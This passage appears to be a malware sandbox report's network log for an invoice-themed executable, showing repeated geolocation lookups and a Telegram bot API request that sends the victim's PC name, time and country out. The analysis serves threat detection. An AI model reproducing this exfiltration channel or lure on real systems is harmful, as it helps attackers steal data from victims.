09 f6 93 e6 55 89 0f 77 c7 5a 0d e3 07 33 da 18 df 06 46 a6 26 17 c0 4e d9 ac 09 1a f5 b2 22 34 0a d1 Data Ascii: +$,zyNHR{IvkH<N#G6FVpR6*}[1HvMp&\|+,^}HY9fE_14"}>}>trdGz?xK$Fy_O-AD]Fi5oKKc.nuZ}c{CmFp-+UwZ3F&N"4
2024-10-18 13:05:03 UTC	1378	IN	Data Raw: fe f3 cc 6c e8 54 43 10 8c d3 e1 12 96 a2 4f f2 1a 0b 2a 05 d9 f6 a5 dc bc 65 ac 8a dc 86 76 ad fc 37 0f db 5b 93 8b ae f1 6e 73 12 6b 82 f9 4c 0d 7e 0f 8f 69 d4 0c 40 73 a3 b5 84 0c 48 a6 60 74 39 05 95 9f f7 9c 99 de d6 1e ae 2c ae 95 f4 c4 10 bb 6d 51 b9 95 be 84 a9 18 79 7f bc 07 55 cc f8 52 6e 00 a6 4f db 96 66 1a 44 2c eb 47 48 26 c8 c9 9e 57 b1 3b d7 f7 1f a9 32 82 f4 23 99 fb ef 0f dd b1 da 62 0c 9c 77 af a6 d5 da 05 41 67 a0 3b bb 41 e8 ee 94 e5 4a b8 41 20 c8 ea 4f ea 8b 9b c0 6f 7c cc 68 37 cb 7f 1a 5d 2b 2d 6b 2b 73 3b 59 76 89 c2 20 41 ab 0c fb 9e a9 cc 2c cd 8d 05 53 d6 53 04 a4 1a 54 de d8 ea 65 ca fe 31 a3 a4 bb c2 2e 8f 06 b2 30 bb c0 17 2b 94 3b 94 c6 8d 97 80 b4 89 4c aa 76 7f 45 82 db 60 92 d4 05 87 19 0e 8d 89 34 a7 47 4f 6a e9 a2 d8 Data Ascii: lTCO*ev7[nskL~i@sH`t9,mQyURnOfD,GH&W;2#bwAg;AJA Oo\|h7]+-k+s;Yv A,SSTe1.0+;LvE`4GOj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49980	188.114.96.3	443	3148	C:\Users\user\Desktop\Wuerth_factura_4052073226..exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:05:09 UTC	87	OUT	GET /xml/155.94.241.186 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-18 13:05:09 UTC	702	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:05:09 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 31061 Last-Modified: Fri, 18 Oct 2024 04:27:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1IlHs1ULNbd5RuCK%2FYhS57U1ZIbwmmcFbobv0gNzh2bXLlCEZAd6HcGJQy2t5TowMFGtmrNfrNAOAriuCZKDf2cXWFYFN0VW7zM5Yw3MB2PQ0vfBltvmh2eF5TR0iOcjoB5gfSwf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48bd033f266bec-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:05:09 UTC	365	IN	Data Raw: 31 36 36 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 44 61 6c 6c 61 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 35 32 34 37 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a Data Ascii: 166<Response><IP>155.94.241.186</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Dallas</City><ZipCode>75247</ZipCode><TimeZone>America/Chicago</TimeZ
2024-10-18 13:05:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49981	188.114.96.3	443	3148	C:\Users\user\Desktop\Wuerth_factura_4052073226..exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:05:10 UTC	63	OUT	GET /xml/155.94.241.186 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-18 13:05:10 UTC	708	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:05:10 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 31062 Last-Modified: Fri, 18 Oct 2024 04:27:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P3wPLDkA0mMugNYyyt9gyapLwQkMJ7ub1STiWzmg6pW21zCO8YNjxJ3LjumHIZqFQO4kw6sofktr0RV%2Fyv9t4BRgPgjUHtrfIe4p6ux%2F%2FlPD8WHADHH%2BUKbbp6zKBIkjjMEHEUjT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48bd0a3cd04600-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:05:10 UTC	365	IN	Data Raw: 31 36 36 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 44 61 6c 6c 61 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 35 32 34 37 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a Data Ascii: 166<Response><IP>155.94.241.186</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Dallas</City><ZipCode>75247</ZipCode><TimeZone>America/Chicago</TimeZ
2024-10-18 13:05:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49983	188.114.96.3	443	3148	C:\Users\user\Desktop\Wuerth_factura_4052073226..exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:05:12 UTC	87	OUT	GET /xml/155.94.241.186 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-18 13:05:12 UTC	714	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:05:12 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 31064 Last-Modified: Fri, 18 Oct 2024 04:27:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=C1r2j2D9BsZ1bDfz8hWyK%2BP%2Bu7kA7mO%2B%2FCjVsdLcAopMSS0GmpXk6hEIxepLYeBTEdRGGwm%2B3vS2h1UCQ94QZ6YkvlddCp4ULF10t1%2BOnoHTeyrwsMlzOLWTa9vsymuIZQ%2F7PsCr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48bd14ff076bba-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:05:12 UTC	365	IN	Data Raw: 31 36 36 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 44 61 6c 6c 61 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 35 32 34 37 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a Data Ascii: 166<Response><IP>155.94.241.186</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Dallas</City><ZipCode>75247</ZipCode><TimeZone>America/Chicago</TimeZ
2024-10-18 13:05:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49985	188.114.96.3	443	3148	C:\Users\user\Desktop\Wuerth_factura_4052073226..exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:05:15 UTC	87	OUT	GET /xml/155.94.241.186 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-18 13:05:15 UTC	890	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:05:15 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 31067 Last-Modified: Fri, 18 Oct 2024 04:27:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=icHmtnt1P9jamLb5aGTM8uUQuiMdlmvXjlp8RqaqAeHeySqVxQvBQEcHakWw0765r%2BFUGnAwKHsdItrXW0agX9i4S19hzWTpAFSuPWozkeCX2Zw6twobmiIzQNp5SQCM3yM1roWh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48bd263b724684-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1107&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=2625566&cwnd=248&unsent_bytes=0&cid=0907950c6170d3f5&ts=151&x=0"
2024-10-18 13:05:15 UTC	365	IN	Data Raw: 31 36 36 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 44 61 6c 6c 61 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 35 32 34 37 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a Data Ascii: 166<Response><IP>155.94.241.186</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Dallas</City><ZipCode>75247</ZipCode><TimeZone>America/Chicago</TimeZ
2024-10-18 13:05:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49987	188.114.96.3	443	3148	C:\Users\user\Desktop\Wuerth_factura_4052073226..exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:05:17 UTC	87	OUT	GET /xml/155.94.241.186 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-18 13:05:17 UTC	704	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:05:17 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 31069 Last-Modified: Fri, 18 Oct 2024 04:27:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dQBVYa2mwPB48viVy2TQqC5JwKPq3SXQ5SINxI8jW2gXj0BLKxfQdm85B%2Bvj1UT9OSug45xoR1aHvg3Pma6Yz%2BcvkHKwtDSdfooIYpb46NJHDKMttpfkax8VQehEMRuXQwqMosiU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48bd353cb08d26-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:05:17 UTC	365	IN	Data Raw: 31 36 36 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 44 61 6c 6c 61 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 35 32 34 37 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a Data Ascii: 166<Response><IP>155.94.241.186</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Dallas</City><ZipCode>75247</ZipCode><TimeZone>America/Chicago</TimeZ
2024-10-18 13:05:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49989	188.114.96.3	443	3148	C:\Users\user\Desktop\Wuerth_factura_4052073226..exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:05:20 UTC	87	OUT	GET /xml/155.94.241.186 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-18 13:05:20 UTC	700	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:05:20 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 31072 Last-Modified: Fri, 18 Oct 2024 04:27:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kDitqE1WkXQlF7pbohp4nsLgFG5CBWoLza3qTtj94GTxY3z86hbH6yYjXQI4hvOtRFmWgXGPvWiVBKR8SOoUFFj4xiW8FjgKuJ5QRftF2jN0fuEWayOfKd2ULPA65p04wHd7Xq3g"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48bd497ee447a3-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:05:20 UTC	365	IN	Data Raw: 31 36 36 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 44 61 6c 6c 61 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 35 32 34 37 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a Data Ascii: 166<Response><IP>155.94.241.186</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Dallas</City><ZipCode>75247</ZipCode><TimeZone>America/Chicago</TimeZ
2024-10-18 13:05:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49991	188.114.96.3	443	3148	C:\Users\user\Desktop\Wuerth_factura_4052073226..exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:05:22 UTC	87	OUT	GET /xml/155.94.241.186 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-18 13:05:22 UTC	706	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:05:22 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 31074 Last-Modified: Fri, 18 Oct 2024 04:27:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fjEjK90PJSkf1CSvi6i3OD0QitYk88UbxPQDRq%2BJiZ3h3NDNRDKd0THnzWiG2KeAWMjlXUzJuotx655%2BXrur%2FT40l0pdQQKQefbLhilX19HBMC8z8qILcE9TUtwJNf3GGBgNzYtB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48bd558b5a6bac-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:05:22 UTC	365	IN	Data Raw: 31 36 36 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 44 61 6c 6c 61 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 35 32 34 37 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a Data Ascii: 166<Response><IP>155.94.241.186</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Dallas</City><ZipCode>75247</ZipCode><TimeZone>America/Chicago</TimeZ
2024-10-18 13:05:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49993	188.114.96.3	443	3148	C:\Users\user\Desktop\Wuerth_factura_4052073226..exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:05:25 UTC	87	OUT	GET /xml/155.94.241.186 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-18 13:05:25 UTC	720	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:05:25 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 31077 Last-Modified: Fri, 18 Oct 2024 04:27:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0Ri3sq%2F%2Bm24KB0d58%2FbErX%2FCEizEHz71qd%2FVpxkWsnZxUy1rVmgB64taY7ZE%2F6BLCcX10gEL0%2F9EE4oSFgt7RL3%2BISa7LdHSWM1kcX28%2FSq1%2BaYj7qRST7wiw3jcUAMCOwsWSUOM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48bd655c1fe853-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:05:25 UTC	365	IN	Data Raw: 31 36 36 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 44 61 6c 6c 61 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 35 32 34 37 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a Data Ascii: 166<Response><IP>155.94.241.186</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Dallas</City><ZipCode>75247</ZipCode><TimeZone>America/Chicago</TimeZ
2024-10-18 13:05:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49995	188.114.96.3	443	3148	C:\Users\user\Desktop\Wuerth_factura_4052073226..exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:05:27 UTC	87	OUT	GET /xml/155.94.241.186 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-18 13:05:27 UTC	714	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:05:27 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 31079 Last-Modified: Fri, 18 Oct 2024 04:27:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DIB7wsU6PWJk2Go1GtW6wiE6ey8K%2Bu59WKwK%2BfldD%2BP7J%2BJ0%2FSVx8V%2FhPzrDsWjNOoPhKceljNgKMwuSyZFU4JokUGhF4JH4I6yfynLVM%2BXSBWU5j5xJfRwT5VyORbMmUEKVHLEb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48bd7289463162-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:05:27 UTC	365	IN	Data Raw: 31 36 36 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 44 61 6c 6c 61 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 35 32 34 37 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a Data Ascii: 166<Response><IP>155.94.241.186</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Dallas</City><ZipCode>75247</ZipCode><TimeZone>America/Chicago</TimeZ
2024-10-18 13:05:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49996	149.154.167.220	443	3148	C:\Users\user\Desktop\Wuerth_factura_4052073226..exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:05:28 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:405464%0D%0ADate%20and%20Time:%2019/10/2024%20/%2007:08:06%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20405464%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-10-18 13:05:28 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Fri, 18 Oct 2024 13:05:28 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-10-18 13:05:28 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Target ID:	0
Start time:	09:03:53
Start date:	18/10/2024
Path:	C:\Users\user\Desktop\Wuerth_factura_4052073226..exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Wuerth_factura_4052073226..exe"
Imagebase:	0x400000
